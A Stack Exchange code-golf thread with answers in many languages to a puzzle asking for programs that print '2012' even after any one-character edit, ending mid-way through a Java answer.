[Question] [ This idea is not mine, though I don't know where it originated. I once met it in a programming contest very long ago (1998, if I remember correctly). The task is to write a program in your favorite language that outputs `2012` **and only** `2012`. The catch is that the program must still output `2012` after any **one** of its characters is modified. The modification can be either insertion, deletion or replacement. Of course, the modification will be such that the program is still syntactically valid. Since I don't know all the programming languages, I have to ask the audience to help me and test the answers submitted. **Added:** Many have commented that my definition of acceptable modifications is too vague. Here's my second attempt: **The allowed modifications will leave your program syntactically valid and will not cause it to crash.** There, I think that should cover all the compile-time, link-time and run-time errors. Though I'm sure that there will be some odd edge case in some language anyway, so when that comes up we'll look at it individually. [Answer] # C, 53 characters ``` main(){register*a="2012";(puts("2012"==a?a:"2012"));} ``` A bit longer than the scripting language answers, and follows the same basic principle. Relies on the fact that due to the constraints of C's syntax, the only letters that would be possible to change without making the program invalid are within the strings! **Edit:** Shaved off 4 characters. **Reedit:** Robustness increased, shaved off one character. **Re-redit:** Longer, but more robust. Just try your `&` now! (Correctly this time). **Update:** Shortened a bit; defeats most approaches seen so far. ~~**Update:** Changed int to void; should defeat the last possible approach to break it I can think of.~~ ~~**Update:** I thunk of another approach; replacing the last `a` (may it rot) with `0`; using two-letter names should deal with that problem.~~ **Update:** Last update revoked; assuming changes causing runtime errors are disallowed; `a` will work just fine. **Update:** Backtracking some more; attempting to dereference `*a` will also segfault; so using `void` to tease a compile error out of it should not be necessary. **Update:** And a final shortening; that relies on the string `"2012"` being placed at but one address (which is common); and that literal strings are read-only (also common). **Update:** It cost me two characters, but I defeated your puny semi-colon! [Answer] ## Haskell, 19 ``` (\xx@2012->xx)$2012 ``` or, as a full program, ## 29 ``` main=print$(\xx@2012->xx)2012 ``` --- For a bit more fun: ``` (\l@(_:_:t:[])->t:l)['0'..'2'] ``` --- To get one that can't be modified in such a way that yields merely a runtime error, we can encode the information in the lengths of lists which can't be modified using just one-character-changes, i.e. ``` map(head.show.length)[[(),()],[],[()],[(),()]] ``` To make it more modifiable (safely), we can also use the number itself as list element – just need to make it strings to prevent exchanging commas for plus': ``` map(head.show.length)[["2012","2012"],[],["2012"],["2012","2012"]] ``` As this string is just the result of the expression, we can also again substitute it with that – not a problem thanks to Haskell's lazyness ## ~~64~~ 72 ``` a=map(head.show.length.init)[[a,a,a],[a],[a,a],[a,a,a]] main=putStrLn a ``` The `init` acts as "minus one, but non-negative" here. --- We can also include the type system in the redundancy scheme and then write the number in a way that *could* be modified with one-character changes... ``` u :: Enum a => (a,[b])->(a,b) u(a,[b]) = (succ a , b) p :: (a,b)->(a,[b]) p(a,b) = (a,[b]) ι :: (Int,()) -- Integral type to make sure you can't make it 0/0 ι = (\n -> (n-n,()))0 twothousandandtwelve = map(head.show.fst) [ u.p.u.p$ι , ι , u.p$ι , u.p.u.p$ι ] ``` (`GHCi> twothousandandtwelve` ≡> `"2012"`) You could now change any one `u` to `p` vice versa, but that would always mess up the deepness of list stackings in the second tuple element and thereby trigger a compile-time error. This idea could be expanded further in such a way that whole texts could be encoded compactly, easy to read and edit, and still safe from modifing single characters. --- And yet another one... ``` main = print N2012 data Counter = Τv |Πy |Υj |Cε |Ho |Φϑ |Ωm |Sg |Πl |Pt |Yϑ |Γσ |Km |Φz |Εα |Av |Ζρ |Ηρ |Εv |Κs |Rζ |Γϑ |Οc |Dι |Rυ |Λd |Bγ |Wt |Xε |Ωη |Ιa |Hζ |Ed |Qj |Wπ |Κw |Qu |Γο |Oι |Mσ |Ωκ |Yg |Kυ |Aj |Du |Λζ |Nζ |Θτ |Pε |Yf |Βa |Τγ |Qx |Jη |Pδ |Iq |Ωn |Fv |Kl |Ψη |Δj |Θσ |Hd |Θq |Υs |Ht |Fρ |Jh |Lζ |Hμ |Υι |Ρζ |Ρv |Dυ |Wo |Iχ |Iζ |Γy |Kr |Sσ |Iμ |Μο |Xw |Εμ |Cσ |Yξ |Aq |Jf |Hσ |Oq |Hq |Nυ |Lo |Jκ |Ρz |Οk |Θi |Θα |Αη |Gh |Lξ |Jm |Ων |Zu |Μc |Qη |Κγ |Αψ |Χζ |Hρ |Γρ |Uϑ |Rj |Χγ |Rw |Mω |Πζ |Θρ |Ωd |Υh |Nt |Tη |Qψ |Θω |Εχ |Iw |Σx |Ηn |Mτ |Xt |Yx |Φε |Hh |Wη |Mf |Ψχ |Νγ |Βξ |Aϑ |Qp |Τϑ |Φm |Uy |Gy |Cd |Bχ |Λl |Οτ |Εa |Df |Li |Aι |Yi |Νκ |Vc |Γx |Φρ |Φp |Nξ |Kf |Tw |Λξ |Φn |Λa |Oψ |Υχ |Fψ |Xω |Τq |Οσ |Σj |Θψ |Το |Νr |Ιπ |Τi |Dτ |Φf |Μn |Χm |Ηε |Wa |Αχ |Uδ |Λf |Ρu |Qk |Wα |Uρ |Τζ |Lg |Qy |Τν |Jϑ |Βδ |Mε |Μι |Πβ |Bη |Eκ |Κz |Ηh |Fδ |Σp |Εγ |Qφ |Μτ |Νχ |Ψν |Pw |Χz |Εϑ |We |Nπ |Tυ |Wg |Bh |Tρ |Ζν |Λm |Ag |Dσ |Πι |Oη |Nν |Χl |Χp |Sξ |Πt |Οϑ |Wο |Yη |Cp |Tm |Ξs |Εβ |Ιb |Ρρ |Fs |Um |Ep |Jλ |Rρ |Ρξ |Ua |Οq |Γξ |Zη |Nη |Qτ |Nc |Ez |Xσ |Yφ |Ρy |Yε |Ετ |Φκ |Λω |Ωα |Μκ |Φw |Mt |Tk |Sf |Ηξ |Οb |Νπ |Κε |Mι |Kz |Vi |Ξx |Ψs |Αο |Qδ |Kt |Aσ |Οm |Ψδ |Λγ |Ακ |Hα |Wϑ |Τμ |Γγ |Jδ |Ικ |Ηϑ |Μp |Zo |Κn |Qz |Δe |Pe |Jο |Qι |Tu |Jν |Ξμ |Πω |Αm |Θw |Nε |Dy |Zξ |Υα |Dβ |Hο |Χv |Gr |Ωl |Jb |Σl |Vζ |Ξ |Nx |Qs |Βh |Qg |Νx |Co |Rσ |Νυ |Χg |Ρt |Wy |Ηκ |Οa |Yμ |Uj |Uξ |Op |Μr |Ζα |Ξw |Mυ |Ar |Ργ |Zζ |Sv |Vy |Βo |Κι |Vϑ |Ξι |Uζ |Fμ |Su |Ιξ |Fϑ |Hi |Hw |Mv |Χχ |Θg |Sν |Pp |Mπ |Pk |Bκ |Lυ |Ρλ |Ιr |Uλ |Νo |Κο |Nh |Lε |Sw |Ξλ |Zυ |Mr |Bv |Κπ |Aγ |Dv |Pd |Ξσ |Μg |Oπ |Χξ |Nj |Kψ |Ξπ |Mκ |Gn |Ωe |Gγ |Pν |Yz |Nl |Οο |Ic |Pz |Ξf |Νω |Υμ |Ηq |Nw |Θm |Μx |Jε |Φy |Οz |Ξz |Ti |Οψ |Φγ |Tψ |Oγ |Zϑ |Ιk |Σw |Rf |Υi |Ωp |Vr |Υτ |Xl |Οβ |Πb |Δν |Οu |Jα |Ττ |Κl |Pf |Iκ |Gk |Πe |Σu |Δβ |Ωh |Nλ |Ξt |My |Πs |Βr |Mγ |Δω |Le |Zρ |Θv |Σs |Ηd | Bn |Κu |Δξ |Pτ |Ηα |Δu |Πμ |Ρh |Bω |Τλ |Gt |Αρ |Sh |Aο |Θδ |Δπ |Wq |Tφ |Γo |Γf |Λβ |Xυ |Mη |Δw |Qυ |Vν |Βτ |Γα |Μm |Μπ |Κζ |Θd |Fε |Ρτ |Οn |Αs |Wu |Ξh |Μz |Αν |Aε |Yq |Τε |Cz |Ωu |Ec |Ds |Wρ |Θϑ |Κp |Τδ |Mδ |Ηy |Go |Sb |Rξ |Σϑ |Yο |Jg |Vh |Kσ |Nδ |Ηψ |Γh |Rk |Eο |Μk |Ζk |Ψο |Ψμ |Zσ |Pβ |Ρd |Us |Hυ |Βi |Mχ |Σr |Βι |Sχ |Zγ |Δα |Sτ |Γp |Ns |Sn |Νn |Pξ |Νa |Sω |Σi |Τφ |Xο |Eδ |Ba |To |Vj |Sl |Κκ |Δh |Τχ |Gυ |Ρϑ |Bs |Dh |Μσ |Vd |Iϑ |Kg |Νμ |Dμ |Σγ |Πg |Γg |Εt |Fa |Ψn |Ρx |Αj |Mβ |Kλ |Ξψ |Fω |Qζ |Θj |Kπ |Gf |Oe |Yυ |Κk |Wω |Bδ |Lο |Cβ |Nf |Ol |Σo |Fn |Τβ |Βω |Dn |Ha |Πλ |Ss |Σy |Kϑ |Lp |Dδ |Dψ |Ωo |Xγ |Χk |Ωσ |Δa |Sκ |Jμ |Κt |Rc |Ηc |Lχ |Oε |Μλ |Cs |Il |Tι |Ra |Zα |Ωr |Ob |Wβ |Ον |Γν |St |Xλ |Kv |No |Rε |Kd |Mν |Np |Ωc |Δζ |Nβ |Zπ |Ok |Vι |Tδ |Vδ |Γz |Χα |Μs |Βυ |Xc |Xo |Vp |Γχ |Υf |Θπ |Πj |Pi |Γj |By |Φk |Υq |Ny |Rο |Γd |Ωj |Αy |Εo |Κy |Uc |Rm |Ph |Αδ |Ιl |Ιx |Δτ |Zt |Nq |Ct |Φi |Uv |Eπ |Κm |Rλ |Vu |Χσ |Τn |Μe |Φη |Ξβ |Εz |Σω |Bb |Ψε |Sε |Ρm |Δο |Vξ |Φo |Ωε |Zb |Σc |Dζ |Ξp |Rη |Ιψ |Δσ |Χη |Kj |Eμ |Qν |Ri |Ip |La |Νξ |Αγ |As |Nr |Δi |Oν |Ζx |Xκ |Pr |Ελ |Λb |Ψk |Ωβ |Pl |Ιy |Cμ |Ζc |Αg |Σρ |Dw |Ρq |Ιη |Pζ |Σa |Uq |Ρμ |Lω |Fh |Ζδ |Αd |Cψ |Κσ |It |Qκ |Fν |Αb |Ηg |Ιν |Ls |Jr |Ow |Je |Zx |Ld |Jl |Ζd |Μo |Χτ |Kα |Μβ |Mo |Σλ |Xρ |Μq |Ψb |Νd |Ρβ |Wδ |Μf |Κρ |Ηb |Ξτ |Qα |Λv |Zψ |Φt |Sδ |Εh |Rκ |Rμ |Χι |Κυ |Ηj |Pχ |Pη |Jσ |Ρσ |Ιχ |Kζ |Εδ |Nω |Iψ |Γμ |Vσ |Ψρ |Χυ |Αw |Kn |Al |Gj |Zj |Αc |Aζ |Ζi |Bz |Vπ |Πw |Αu |Qf |Bf |Ξo |Ρε |Λy |En |Ey |Wi |Σχ |Τc |Dχ |Fg |Ρo |Zm |Ψω |Fq |Μa |Ηt |Wc |Kε |Κτ |Χψ |Κβ |Λφ |Κq |Υm |Πx |Pj |Mi |Δy |Κχ |Lϑ |Wτ |Lη |Nd |Ωk |Iπ |Tα |Bο |Uε |Lc |Rp |Θx |Ρη |Lu |Μζ |Εd |Gρ |Χμ |Vγ |Ιζ |Πυ |El |Uk |Hc |Ξξ |Λx |Ιο |Μy |Ζm |Jw |Iε |Σφ |Αk |Σf |Ac |Ab |Αq |Δf |Θκ |Υa |Ζτ |Jc |Xμ |Sι |Κv |Ζj |Ει |Oω |Ηδ |Φv |Dα |Fτ |Ko |Et |Ψζ |Jx |Mk |Th |Βλ |Λχ |Οo |Υπ | Cζ |Θy |Λk |Γδ |Iυ |Σξ |Υϑ |Cι |Cχ |Εσ |Βψ |Iα |Τη |Eυ |Lφ |Lδ |Υw |Ξο |Uσ |Δb |Nϑ |Ζγ |Δz |Cο |Mb |Ξy |Γυ |Εk |Αζ |Vα |Τυ |Ιω |Wυ |Cτ |Ιγ |Yω |Ωy |Ηp |Ψψ |Ah |Dq |Βv |Ιw |Ox |Ξv |Οζ |Tχ |Πψ |Qb |Rδ |Aψ |Zμ |Ζg |Ψφ |Nφ |Δρ |Χe |Vχ |Ηυ |Ml |Σσ |Ζμ |Sz |Πκ |Sγ |Kq |Dη |Υk |Dt |Ξe |Sc |Νs |Μv |Ev |Ji |Rχ |Xπ |Αo |Lμ |Gδ |Fσ |Λϑ |Λe |Σb |Id |Hb |Γι |Βz |Sβ |Tg |Ζο |Δk |Dl |Λσ |Κϑ |Aw |Uγ |Lx |Uψ |Hs |Ωχ |Δφ |Wσ |Π |Εe |Ro |Λο |Ud |Fχ |Δψ |Νh |Θμ |Zd |Kb |Οδ |Ex |Να |Φσ |Φω |Pm |Λυ |Xq |Si |Σδ |Gα |Bu |Βw |Eχ |Ρι |Gβ |Vο |Yh |Σε |Χq |Hι |Re |Zχ |Ζp |Eρ |Ωγ |Bξ |Hδ |Oξ |Γc |Μγ |Wφ |Πη |Wj |Ιq |Γs |Πο |Κj |Un |Rι |Dφ |Τl |Ωz |Pμ |Wr |Gω |Gi |Εu |Σq |Ρl |Iν |Zy |Rb |Νk |Ky |Uκ |Ησ |Hy |Ir |Tp |Εc |Bw |Εο |Cm |Εw |Ψf |Yχ |Ιρ |Hβ |Ιz |Vλ |Εj |Oδ |Qρ |Θν |Aρ |Ov |Zω |Gψ |Ij |Ξη |Ps |Φh |Οg |Dp |Ta |Ty |Οe |Uο |Rγ |Οr |Θp |Hλ |Νι |Vk |Νz |Tl |Ψi |Λs |Hη |Ζκ |Rz |Hx |Fξ |Ξn |Φe |Sπ |Ηw |Dκ |Ζω |Sr |Vψ |Ντ |Vω |Lv |Νg |Fκ |Jψ |Ζs |Oβ |Υζ |Δg |Fυ |Yκ |Χd |Zf |Φμ |Lt |Ξd |Oφ |Τp |Κh |Ψx |Vυ |Qπ |Θφ |Nψ |Ρχ |Rx |Υz |Ξκ |Ξχ |Qn |Pu |Υψ |Az |Xj |Σd |Φξ |Ws |Xα |Βm |Βf |Lh |Hv |Aω |Hν |Kχ |Ρψ |Aδ |Χx |Sη |Φx |Cκ |Jz |Dr |Xu |Ηζ |Ξζ |Gτ |Ca |Af |Aν |Bι |Mc |Ψg |Ωv |Ωs |Qω |Mψ |Lλ |Μα |Kμ |Vl |Yσ |Οι |Ve |Dν |Eg |Ιυ |Xι |Zν |Xϑ |Νζ |Ni |Sφ |Se |Ζa |Xδ |Νv |Wι |Jv |Jt |Ιh |Υv |Cη |Τd |Ψι |Τu |Ge |Πc |Bυ |Mϑ |Χλ |Δλ |Σψ |Μϑ |Απ |Vg |Κα |Sψ |Ζz |Λδ |Aκ |Λκ |Ga |Κb |Db |Jo |Τa |Fw |Τs |Βϑ |Eτ |Wk |Ξu |Ψl |Αι |Νψ |Δι |Qμ |Υn |Bτ |Ηs |Yw |Ye |Iο |Dο |Γe |Rβ |Qv |Xs |Ηη |Yo |Χj |Dω |Οπ |Uβ |Mλ |Qh |Fο |Βd |Ζr |Οv |Zφ |Αi |Dλ |Pb |Οx |Rv |Uz |Εν |Ψτ |Na |Aη |Βu |Ιd |Ηm |Υd |Wn |Qσ |Οp |Αr |Ηλ |Σι |Br |Cu |Ωζ |Θγ |Qo |Bρ |Bψ |Zβ |Πφ |Ρκ |Qϑ |Bj |Vε |Zz |Ζϑ |Za |Θt |Τψ |Ρο |Jq |Πf |Jφ |Τα |Xχ |Χn |Vo |Αt |Bg |Gs |Bi |Rϑ |Nι |Ρa |Υr |Υν |Λo |Γφ |Δo |Yρ |Χc |Ξα |Gq |Γm |Ωμ |Ζυ |Wζ |At |Mw | Cf |Επ |Fo |Οh |Tσ |Ηv |Sα |Ζq |Dk |Jπ |Ιm |Mj |Oi |Ψa |Qγ |Rn |Dξ |De |Γk |Ψm |Lα |Cl |Θο |Γq |Λc |Tx |Nm |Ki |Υο |Χr |Φs |Κi |Φλ |Vq |Αω |Ch |Tμ |Xb |Ζπ |Ym |Ζn |Eω |Ξj |Υκ |Τg |Uo |Ai |Sy |Τe |Ητ |Tτ |Λg |Bp |Δq |Χo |Pπ |Dγ |Δγ |Yπ |Ys |Ωδ |Ψσ |Sζ |Πξ |Rφ |Hj |Uf |Td |Ξk |Xψ |Οj |Cx |Φπ |Gλ |Φδ |Ej |Yψ |Ae |Φφ |Jγ |Qχ |Ξγ |Δp |Σg |Is |Eσ |Λπ |Cδ |Ιe |Cυ |Oh |Hm |Tb |Qi |Οl |Bε |Eψ |Hn |Ja |Σν |Γr |Ηu |Ζξ |Ζb |Nu |Θξ |Κd |Qο |Lq |Λw |Ηf |Kξ |Ευ |Rr |Τm |Εξ |Ψp |Χh |Ξi |Fπ |Μφ |Fu |Cξ |Aα |Pγ |Sk |Cω |Ηr |Αp |Ββ |Bx |Fp |Tζ |Pω |Λp |Lm |Jp |Bl |Φc |Vf |Τz |Εy |Λμ |Rd |Νf |Πρ |Ηx |Μψ |Γη |Bα |Συ |Iσ |Γt |Κξ |Io |Ζφ |Γl |Θf |Γλ |Υγ |Ψh |Xg |Tn |Iu |Bφ |Πχ |Λq |Χπ |Bϑ |Εm |Κφ |Λt |Ιu |Ρs |Ιβ |Ωg |Yν |Lσ |Ζι |Eι |Aτ |Φa |Pα |Θz |Ψκ |Θs |Θη |Ηl |Φζ |Bt |Ρυ |On |Ξε |Tf |Gp |Mα |Μi |Kβ |Σο |Ωξ |Νl |Iz |Fk |Dj |Bπ |Nz |Xr |Mp |Χω |Sϑ |Hu |Αμ |Js |Βn |If |Τw |Ηz |Σz |Po |Yj |Ημ |Yβ |Σm |Do |Ηχ |Κg |Θo |Ζh |Ψj |Ψu |Ωφ |Δμ |Γa |Bν |Ιε |Oz |Νq |Υp |Qλ |Υc |Υy |Kc |Kh |Ew |Wγ |Νβ |Ωλ |Οξ |Zι |Yr |Sυ |Γπ |Bm |Μj |Pa |Os |Χδ |Κδ |Εx |Iγ |Eη |Fλ |Tγ |Yλ |Hξ |Φq |Τξ |Ql |Δn |Zn |Ot |Sa |Φψ |Nμ |Ξr |Ξc |Φj |Gl |Oλ |Rπ |Am |Mο |Gx |Fd |Cg |Χu |Lι |Wv |Ζt |Jυ |Pσ |Σκ |Wκ |Pv |Ιg |Ωι |Δx |Φl |Eb |Δυ |Cr |Nχ |Ογ |Νφ |Gu |Ασ |Λi |Rτ |Eh |Xη |Md |Wm |Tt |Πα |Υe |Βk |Ju |Dρ |Χβ |Οs |Γi |Kι |Κe |Mm |Χf |Oκ |Vb |Γβ |Οy |Vv |Νϑ |Hl |Λα |Wξ |Om |Βφ |Ρp |Φβ |Βb |Αυ |Υδ |Χφ |Pλ |Νρ |Υλ |Ul |Kγ |Qc |Νm |Πz |Hφ |Es |Ψπ |Xm |Xξ |Tν |Eλ |Ao |Ak |Ka |Ζη |Xk |Γψ |Βπ |Fβ |Βρ |Xx |Βζ |Iτ |Pϑ |Εb |Ψγ |Τk |Gm |Yn |Xν |Νu |Hϑ |Εr |Τπ |Uw |Mh |Og |Μυ |Tj |Λν |Qm |Xn |Ην |Νi |Kη |Zv |Ιι |Ση |Yk |Dx |Aχ |Ou |Fy |Cα |Θl |Γκ |Ax |Vκ |Cn |Cλ |Ξϑ |Wε |Υl |Ψt |Ωa |Θe |Ξω |Ηo |Ll |Bζ |Kw |Αβ |Δc |Oυ |Βj |Jβ |Νε |Eϑ |Ξg |Tz |Cc |Ry |Sρ |Ψz |Yα |Pq |Υg |Jn |Vμ |Σk |Ck |Ωt |Zg |Pι |Hω |Λλ |Aμ |Wλ |Ιλ |Βc |Ξa | Jk |Πϑ |Ιt |Εψ |Hε |Ωϑ |Εη |Ie |Κω |Yc |Iβ |Ου |Hg |Θr |Nn |Uμ |Ζv |Ζχ |Jρ |Pο |Ng |Be |Δv |Fζ |Ρe |Qe |Cq |Κf |Θλ |Tϑ |Ξq |Me |Βq |Oα |Θc |Qr |Δt |Dm |Yu |Ru |Σh |Λr |Yy |Εε |Μχ |Mφ |Δδ |Kφ |Cγ |Ζσ |Iω |Au |Wb |Κc |Πq |Ωω |Pυ |Γn |Nγ |Cv |Βχ |Φg |Gο |Ug |Kο |Βκ |Wμ |Hτ |Hχ |Ue |Οw |Sμ |Sm |Υω |Yb |Χa |Ιi |Κν |Πu |Κψ |Uτ |Lβ |Fj |Pn |Εf |Τσ |Qε |Ψo |Λρ |Oϑ |Πν |Ts |Ηο |Μρ |Ff |Ψβ |Ne |Nκ |Bλ |Bσ |Mx |Πp |Υσ |Ιn |Αz |Fz |Ηa |Uν |Mζ |Δϑ |Yι |Ζe |Ψα |Tο |Βg |Lπ |Ζf |Αλ |Em |Θh |Gπ |Γω |Kω |Tξ |Σn |So |Im |Φυ |Ξb |Ii |Λι |Xz |Kδ |Μω |Uυ |Wf |Χb |Sλ |Lγ |Οη |Ιs |Xβ |Pκ |Bc |Ιp |Od |Αn |Va |Tω |Ζw |Ιτ |Θε |Ρi |Gι |Τh |Υx |Nτ |Δη |Εφ |Kx |Xa |Gν |Ft |Yt |Qd |Gσ |Ξυ |Εs |Nσ |Νc |Λj |Υu |Ρc |Ψξ |Δm |Qβ |Μu |Υb |Nk |Ωτ |Κr |Δd |Iλ |Πa |Ωρ |Χν |Μh |Jξ |Μμ |Fc |Iφ |Zr |Ux |Φb |Πo |Gd |Eζ |Αα |Νν |Λz |Vη |Pψ |Ωf |Lρ |Cb |Ν |Α |Χ |Ω |Zτ |Τκ |Αε |Bβ |Uι |Fi |Ui |Βx |Ωq |Βp |Λh |Uu |Ωw |Xp |Ζβ |Λτ | N2012 deriving(Enum); instance Show Counter where show = show . fromEnum ``` [Answer] ## Perl, 49 chars ``` do{ use strict;$_=2012;;2012==$_&&0-print||die} ``` Based on [J B's answer](https://codegolf.stackexchange.com/a/4511/3191), but this one **actually satisfies the spec**. An exhaustive check indicates that every one-character deletion, insertion or replacement either leaves the output unchanged or causes the program to crash when run (as indicated by a non-zero return value and output to stderr), at least as long as insertions and replacements are restricted to printable ASCII characters. (Without the restriction, the task is impossible in Perl: [a little-known feature](http://perldoc.perl.org/perldata.html#Special-Literals) of the Perl parser is that it stops when it encounters a Ctrl-D or a Ctrl-Z character, so inserting either of those in front of any file turns it into a valid Perl program that does nothing.) **Edit:** Shaved off one more char by replacing `1==print` with `0-print`. [Answer] ## JavaScript I believe this is runtime error proof, any single change should either result in a compile error or a single alert saying 2012. Edit: Code would make a runtime error on something like `if("alert(2012 "==r)`, I moved the try section to deal with it. Edit: Nice one Vilx-, but fixable :-) Now there is a bracket mismatch for inserting that semicolon. Edit: But then a comma could do the same thing as the semicolon, that is a host of options, I think I have fixed it, but there is an awful lot of code now. Edit: Simplified a bit. Edit: One more in an infinite series of bugfixes. Edit: This kinda feels more long and complicated than bulletproof, but it should at least take care of `~eval` and `!eval`. ``` var q="alert(2012 " var p=1 try{ if("alert(2012 "==q){ if(eval(((p=5,q+")")||alert(2012)))){ if(p!==5){ alert(2012) } } } else{ alert(2012) } } catch(e){ alert(2012) } ``` [Answer] ## Brainfuck I am trying to convince myself that this is possible, and I am fairly certain I may have stretched it a bit too far. I have made a few assumptions about my environment: 1. An infinite loop is considered a 'crash'. A similar condition could possibly be achieved by decrementing past zero or to the left of memory location zero in certain interpreters. Many interpreters are difficult to crash at runtime. I avoid the halting problem by using only the simplest, most obvious infinite loop. 2. Unmatched square braces are considered a compile error. 3. This will only work in an environment where the program's output is piped back to it's own input. I use that to verify that it did indeed output '2012'. This is the only way I could get around simply deleting one of the output characters. Unfortunately, if you get any stricter I fear this will be impossible. Here is my solution: ``` ++++++++++++++++++++++++++++++++++++++++++++++++++ .--.+.+. ,--------------------------------------------------[] ,------------------------------------------------[] ,-------------------------------------------------[] ,--------------------------------------------------[] ,[]EOF = 0 ``` Basically, you can change the output code, or the verification code, but not both. One of them is guaranteed to work. If one of them doesn't it will 'crash'. [Answer] ## Python2 ``` import sys;xx='2012';( 1/(sys.stdout.write(xx=='2012' and xx or 2012)==None)) ``` I had to change [Ray's test script](https://codegolf.stackexchange.com/a/9191/95) slightly to test this as the stdout redirect was breaking it. Passing empty dicts to exec avoids polluting the namespace ``` exec(prog, {}, {}) ``` [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), 44 + 3 = 47 bytes [Non-Competing] This uses Brain-Flak's `-A` flag and outputs the characters `2012` to STDOUT ``` ((((((((()()()){}){}){}()){})[()])[()])()()) ``` [Try it online!](https://tio.run/nexus/brain-flak#@68BA5ogqFldC0EQZrSGZiyEAEv@//9f1xEA "Brain-Flak – TIO Nexus") # Alternative, 50 bytes ``` (((((()()()()){}){}){}){})({({}[()])}{}[()()()()]) ``` [Try it online!](https://tio.run/nexus/brain-flak#@68BBpoQqFldi0Aa1RrVtdEamrGatWAaAmM1//8HAA) ## Explanation Any single character modification to either of the codes above will cause the program to error. [Answer] # [Sisi](https://github.com/dloscutoff/Esolangs/tree/master/Sisi), non-competing Finally I think I found one of my languages that works. It's horrendously long, and the language is newer than the question, but it still feels like an accomplishment. ``` 1 set xx 2012 2 set y xx=2012 3 jumpif y 55 4 set xx 2012 828 set x xx 829 set ax xx 830 set xa xx 831 set axx xx 832 set xax xx 833 set xxa xx 834 set bx xx 835 set xb xx 836 set bxx xx 837 set xbx xx 838 set xxb xx 839 set cx xx 840 set xc xx 841 set cxx xx 842 set xcx xx 843 set xxc xx 844 set dx xx 845 set xd xx 846 set dxx xx 847 set xdx xx 848 set xxd xx 849 set ex xx 850 set xe xx 851 set exx xx 852 set xex xx 853 set xxe xx 854 set fx xx 855 set xf xx 856 set fxx xx 857 set xfx xx 858 set xxf xx 859 set gx xx 860 set xg xx 861 set gxx xx 862 set xgx xx 863 set xxg xx 864 set hx xx 865 set xh xx 866 set hxx xx 867 set xhx xx 868 set xxh xx 869 set ix xx 870 set xi xx 871 set ixx xx 872 set xix xx 873 set xxi xx 874 set jx xx 875 set xj xx 876 set jxx xx 877 set xjx xx 878 set xxj xx 879 set kx xx 880 set xk xx 881 set kxx xx 882 set xkx xx 883 set xxk xx 884 set lx xx 885 set xl xx 886 set lxx xx 887 set xlx xx 888 set xxl xx 889 set mx xx 890 set xm xx 891 set mxx xx 892 set xmx xx 893 set xxm xx 894 set nx xx 895 set xn xx 896 set nxx xx 897 set xnx xx 898 set xxn xx 899 set ox xx 900 set xo xx 901 set oxx xx 902 set xox xx 903 set xxo xx 904 set px xx 905 set xp xx 906 set pxx xx 907 set xpx xx 908 set xxp xx 909 set qx xx 910 set xq xx 911 set qxx xx 912 set xqx xx 913 set xxq xx 914 set rx xx 915 set xr xx 916 set rxx xx 917 set xrx xx 918 set xxr xx 919 set sx xx 920 set xs xx 921 set sxx xx 922 set xsx xx 923 set xxs xx 924 set tx xx 925 set xt xx 926 set txx xx 927 set xtx xx 928 set xxt xx 929 set ux xx 930 set xu xx 931 set uxx xx 932 set xux xx 933 set xxu xx 934 set vx xx 935 set xv xx 936 set vxx xx 937 set xvx xx 938 set xxv xx 939 set wx xx 940 set xw xx 941 set wxx xx 942 set xwx xx 943 set xxw xx 944 set yx xx 945 set xy xx 946 set yxx xx 947 set xyx xx 948 set xxy xx 949 set zx xx 950 set xz xx 951 set zxx xx 952 set xzx xx 953 set xxz xx 954 set xxx xx 955 print xx ``` ### About Sisi Sisi is a toy language inspired by assembly and QBasic. It is good for this challenge because its syntax is extremely limited. * It has only four commands: `set`, `print`, `jump`, and `jumpif`. * All commands have fixed arity. * All lines must have line numbers, which are strictly increasing. * Expressions are only allowed in `set` statements. They can only contain (at most) one operation, which must be binary. In particular: changing `print xx` to `print -xx` is a syntax error. * Variable names must be composed of lowercase letters. * Most importantly: there is *no comment syntax*! ### The program The core of the program is this part: ``` 1 set xx 2012 2 set y xx=2012 3 jumpif y 55 4 set xx 2012 955 print xx ``` We store `2012` in `xx`, then test whether that was successful and store the test result in `y`. If `y` is truthy, jump to line 55. (Jumps to nonexistent line numbers simply fast-forward to the next line.) ### Radiation hardening * If the assignment in line 1 is modified, then `y` is falsey, the jump doesn't happen, and line 4 sets `xx` to 2012. * If the assignment in line 2 or the jump condition in line 3 is modified, we don't care: `xx` will get set to 2012 whether we take the jump or not. * The jump target in line 3 can be changed to as small as 5 or as large as 955. Any possible modification gets it to the `print` on line 955 sooner or later. It isn't possible with one modification to jump backwards (creating a loop) or past the end of the program. * If the assignment in line 4 is modified, we don't care: line 1's assignment will be correct and we will jump past line 4. * If line 955 is modified, we may have a problem. The one unfortunate thing about Sisi is that uninitialized variables default to `0`, so a modification like `print ax` isn't an error. The ugly but effective solution is lines 828-954, which assign 2012 to every possible variable with an edit distance of 1 from `xx`. This ensures that any modification to the final `print xx` will still print 2012. * If a line number is modified, either: 1) it will be out of order and be a syntax error, or 2) it won't affect the program flow. The main modification we might be worried about--changing line 4 to 94, thereby inserting it after the jump to 55--doesn't matter because all it does is assign 2012 to `xx` again. [Answer] # T-SQL 2012, 55 ``` DECLARE @n CHAR(4)='2012'PRINT IIF(@n='2012',@n,'2012') ``` [Answer] ## **Ruby 1.9** - 43 chars ``` qq=[:p,2012] b if qq!=[:p,2012] send( *qq) ``` Not tested, so break away. [Answer] **Excel, 14 characters** (cheating slightly): ``` {=2012} (in a 2x1 array with one cell hidden) ``` Any valid change to the array will affect the contents of both cells, and attempting to change just one cell triggers an error message. Of course, this breaks down if you take the view that it's really only one formula, as opposed to 2 formulas that are constrained to be identical. [Answer] # [Taxi](https://bigzaphod.github.io/Taxi/), 396 bytes ``` 2012 is waiting at Starchild Numerology.2012 is waiting at Starchild Numerology.Go to Starchild Numerology: w 1 r 3 l 2 l 3 l 2 r.Pickup a passenger going to Equal's Corner.Pickup a passenger going to Equal's Corner.Go to Equal's Corner: w 1 l.Pickup a passenger going to The Babelfishery.Go to The Babelfishery: n 3 r 1 r 1 r.Pickup a passenger going to Post Office.Go to Post Office: n 1 l 1 r. ``` Formatted for humans, that's: ``` 2012 is waiting at Starchild Numerology. 2012 is waiting at Starchild Numerology. Go to Starchild Numerology: w 1 r 3 l 2 l 3 l 2 r. Pickup a passenger going to Equal's Corner. Pickup a passenger going to Equal's Corner. Go to Equal's Corner: w 1 l. Pickup a passenger going to The Babelfishery. Go to The Babelfishery: n 3 r 1 r 1 r. Pickup a passenger going to Post Office. Go to Post Office: n 1 l 1 r. ``` From reading other answers, the solution seems to be to pick a fragile language, set the value, check the value, print the value. [Answer] # Java 7 ``` class M{ static String c(){ String a = 